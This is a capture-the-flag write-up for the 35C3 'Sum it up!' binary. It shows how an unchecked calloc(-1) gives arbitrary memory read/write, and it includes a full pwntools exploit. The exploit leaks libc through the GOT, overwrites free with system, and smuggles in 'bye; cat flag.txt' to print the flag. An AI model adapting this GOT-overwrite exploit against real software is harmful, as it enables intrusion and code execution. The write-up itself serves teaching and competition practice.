PWN
Sum it up!
An executable and libc-2.27.so were attached.
Let's see what the program does:
root@kali:/media/sf_CTFs/35c3ctf/sum# ./sum
---------------------
Simple Sum Calculator
---------------------
How many values to you want to sum up?
> 3
Allocated space for 3 values
Enter the values you want to sum up.
You can perform the following operations:
[1] set <x> <d>
Set the x-th value to d
[2] get <x>
Read the x-th value
[3] sum
Calculate the sum of all values and leave the program
[4] bye
Leave the program
Enter the command you want to execute.
[1] set <x> <d>
[2] get <x>
[3] sum
[4] bye
After playing around with the program a bit, I tried to allocate -1 values and got the following result:
root@kali:/media/sf_CTFs/35c3ctf/sum# ./sum
---------------------
Simple Sum Calculator
---------------------
How many values to you want to sum up?
> -1
Allocated space for 18446744073709551615 values
Enter the values you want to sum up.
You can perform the following operations:
[1] set <x> <d>
Set the x-th value to d
[2] get <x>
Read the x-th value
[3] sum
Calculate the sum of all values and leave the program
[4] bye
Leave the program
Enter the command you want to execute.
[1] set <x> <d>
[2] get <x>
[3] sum
[4] bye
> set 0 7
Segmentation fault
To understand why, let's take a look at the assembly:
| 0x00400920 488d35990300. lea rsi, str.How_many_values_to_you_want_to_sum_up ; 0x400cc0 ; "How many values to you want to sum up?\n> "
| 0x00400927 bf01000000 mov edi, 1
| 0x0040092c b800000000 mov eax, 0
| 0x00400931 e85afeffff call sym.imp.__printf_chk
| 0x00400936 4889e3 mov rbx, rsp
| ,=< 0x00400939 eb20 jmp 0x40095b
| .--> 0x0040093b 488d351e0300. lea rsi, str.Try_again ; 0x400c60 ; "Try again\n> "
| :| 0x00400942 bf01000000 mov edi, 1
| :| 0x00400947 b800000000 mov eax, 0
| :| 0x0040094c e83ffeffff call sym.imp.__printf_chk
| :| 0x00400951 b800000000 mov eax, 0
| :| 0x00400956 e85cffffff call sym.flush_line
| :| ; CODE XREF from sym.calculator (0x400939)
| :`-> 0x0040095b 4889de mov rsi, rbx
| : 0x0040095e 488d3d2c0300. lea rdi, [0x00400c91] ; "%zu"
| : 0x00400965 b800000000 mov eax, 0
| : 0x0040096a e841feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
| : 0x0040096f 83f801 cmp eax, 1 ; 1
| `==< 0x00400972 75c7 jne 0x40093b
| 0x00400974 b800000000 mov eax, 0
| 0x00400979 e839ffffff call sym.flush_line
| 0x0040097e 488b1c24 mov rbx, qword [rsp]
| 0x00400982 be08000000 mov esi, 8
| 0x00400987 4889df mov rdi, rbx
| 0x0040098a e8d1fdffff call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size)
| 0x0040098f 4989c4 mov r12, rax
| 0x00400992 4889da mov rdx, rbx
| 0x00400995 488d35540300. lea rsi, str.Allocated_space_for__zu_values ; 0x400cf0 ; "Allocated space for %zu values\n"The program calls calloc to allocate memory of size rbx (received from the user), but doesn't check that the return value isn't NULL.
r12 saves the base address of the allocated memory (or just 0 in our case), and future access to index #x is done by:
.-----------------------------------.
| 0x400aaf [gw] |
| ; [0x18:8]=-1 |
| ; 24 |
| mov rax, qword [input_index] |
| cmp rax, qword [rsp] |
| jae 0x4009da;[gl] |
`-----------------------------------'
t f
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
.------' |
.--------------------------------------------------'
| |
.-------------------------------------. .-----------------------------------------.
| 0x400abe [gx] | | 0x4009da [gl] |
| ; [0x20:8]=-1 | | ; 0x400c79 |
| ; 32 | | ; "Index out of bounds" |
| mov rdx, qword [input_value] | | lea rdi, str.Index_out_of_bounds |
| mov qword [r12 + rax*8], rdx | | ; int puts(const char *s) |
| jmp 0x400a54;[gj] | | call sym.imp.puts;[ga] |
`-------------------------------------' | jmp 0x400a54;[gj] |
v `-----------------------------------------'The key instruction here is:
mov qword [r12 + rax*8], rdx Since we control rax and r12 is 0, we can basically write to any location in memory as long as it is a multiple of 8.
And since the get logic is similar, we can also read any such address:
.------------------------------------.
| 0x400ad4 [gz] |
| mov rdx, qword [r12 + rax*8] |
| ; "%ld\n" |
| lea rsi, [0x00400ca5] |
| mov edi, 1 |
| mov eax, 0 |
| call sym.imp.__printf_chk;[gc] |
| jmp 0x400a54;[gj] |
`------------------------------------'What should we read? We can use this vulnerability to try and leak a GOT entry, and calculate the LibC base address.
For example, the address of puts, which is at 0x00602028:
[0x004008d6]> ir
[Relocations]
vaddr=0x00601ff0 paddr=0x00001ff0 type=SET_64 __libc_start_main
vaddr=0x00601ff8 paddr=0x00001ff8 type=SET_64 __gmon_start__
vaddr=0x00602080 paddr=0x00602080 type=SET_64
vaddr=0x00602090 paddr=0x00602090 type=SET_64
vaddr=0x00602018 paddr=0x00002018 type=SET_64 free
vaddr=0x00602020 paddr=0x00002020 type=SET_64 putchar
vaddr=0x00602028 paddr=0x00002028 type=SET_64 puts
vaddr=0x00602030 paddr=0x00002030 type=SET_64 __stack_chk_fail
vaddr=0x00602038 paddr=0x00002038 type=SET_64 calloc
vaddr=0x00602040 paddr=0x00002040 type=SET_64 _IO_getc
vaddr=0x00602048 paddr=0x00002048 type=SET_64 __isoc99_sscanf
vaddr=0x00602050 paddr=0x00002050 type=SET_64 __printf_chk
vaddr=0x00602058 paddr=0x00002058 type=SET_64 setvbuf
vaddr=0x00602060 paddr=0x00002060 type=SET_64 __isoc99_scanf
vaddr=0x00602068 paddr=0x00002068 type=SET_64 getline
Once we have the runtime address of puts, we subtract from it the fixed address of puts in the LibC binary we have, and get the runtime base address of LibC.
Then, we can calculate the runtime address of any LibC function (e.g. system) and replace some other GOT entry with our chosen address. When the program calls the original function, our function will be called instead.
Our victim will be free, since:
- It is located at 0x00602018 - an address which we can access
- It hold a pointer to the buffer which contains the command we enter - and therefore control
- We can control when it is called (when we quit the program - in order to cleanup resources)
.-----------------------------------.
| 0x400b3c [gr] |
| ; [0x8:8]=-1 |
| ; 8 |
| mov rdi, qword [line_ptr] |
| ; void free(void *ptr) |
| call sym.imp.free;[gAe] |
| ; [0x28:8]=-1 |
| ; '(' |
| ; 40 |
| mov rax, qword [local_28h] |
| xor rax, qword fs:[0x28] |
| jne 0x400b6a;[gAf] |
`-----------------------------------'So, our plan (after calculating the LibC base address) is:
- Replace
freewithsystem - Enter a command of
bye; cat flag.txt - The program will quit, attempt to free the command buffer and end up calling
systemwithbye; cat flag.txt, which will eventually print the flag.
Putting it all together:
from pwn import *
import argparse
import os
import string
#context.log_level = "debug"
LOCAL_PATH = "./sum"
def get_process(is_remote = False):
if is_remote:
return remote("35.207.132.47", 22226)
else:
return process(LOCAL_PATH)
def get_libc_path(is_remote = False):
if is_remote:
return "./libc-2.27.so"
else:
return "/lib/x86_64-linux-gnu/libc.so.6"
def read_menu(proc):
proc.recvuntil("\n> ")
def set_addr(proc, addr, value):
log.info("Setting address {} to value {}".format(hex(addr), hex(value)))
assert(addr % 8 == 0)
set_cmd(proc, addr / 8, value)
def get_addr(proc, addr):
log.info("Getting value of address {}".format(hex(addr)))
assert(addr % 8 == 0)
return int(get_cmd(proc, addr / 8))
def set_cmd(proc, index, value):
log.info("Setting index {} to value {}".format(index, value))
read_menu(proc)
proc.sendline("set {} {}".format(index, value))
def get_cmd(proc, index):
read_menu(proc)
proc.sendline("get {}".format(index))
out = proc.readline(keepends = False)
log.info("Index {} has value {} ({})".format(index, out, hex(int(out))))
return out
def bye_cmd(proc):
read_menu(proc)
proc.sendline("bye")
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()
e = ELF(LOCAL_PATH)
libc = ELF(get_libc_path(args.remote))
context.binary = e.path
p = get_process(args.remote)
p.sendlineafter("How many values to you want to sum up?\n> ", "-1")
log.info("puts() - GOT: {}, PLT: {}".format(hex(e.got["puts"]), hex(e.plt["puts"])))
puts_addr = get_addr(p, e.got["puts"])
log.info("Runtime address of puts(): {}".format(hex(puts_addr)))
libc_base = puts_addr - libc.symbols['puts']
log.info("LibC Base: {}".format(hex(libc_base)))
libc.address = libc_base
log.info("free() GOT: {}".format(hex(e.got["free"])))
log.info("system() runtime address: {}".format(hex(libc.symbols["system"])))
set_addr(p, e.got["free"], libc.symbols["system"])
read_menu(p)
payload = "bye; cat flag.txt"
log.info("Sending payload: {}".format(payload))
p.sendline(payload)
print p.recvall()The output:
root@kali:/media/sf_CTFs/35c3ctf/sum# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/sum/sum'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
[*] '/media/sf_CTFs/35c3ctf/sum/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.207.132.47 on port 22226: Done
[*] puts() - GOT: 0x602028, PLT: 0x400740
[*] Getting value of address 0x602028
[*] Index 787461 has value 140311052597696 (0x7f9cb672b9c0)
[*] Runtime address of puts(): 0x7f9cb672b9c0
[*] LibC Base: 0x7f9cb66ab000
[*] free() GOT: 0x602018
[*] system() runtime address: 0x7f9cb66fa440
[*] Setting address 0x602018 to value 0x7f9cb66fa440
[*] Setting index 787459 to value 140311052395584
[*] Sending payload: bye; cat flag.txt
[+] Receiving all data: Done (68B)
[*] Closed connection to 35.207.132.47 port 22226
sh: 1: bye: not found
35C3_346adfac5fdfa6b65e103de62310bcf2d7606729The flag: 35C3_346adfac5fdfa6b65e103de62310bcf2d7606729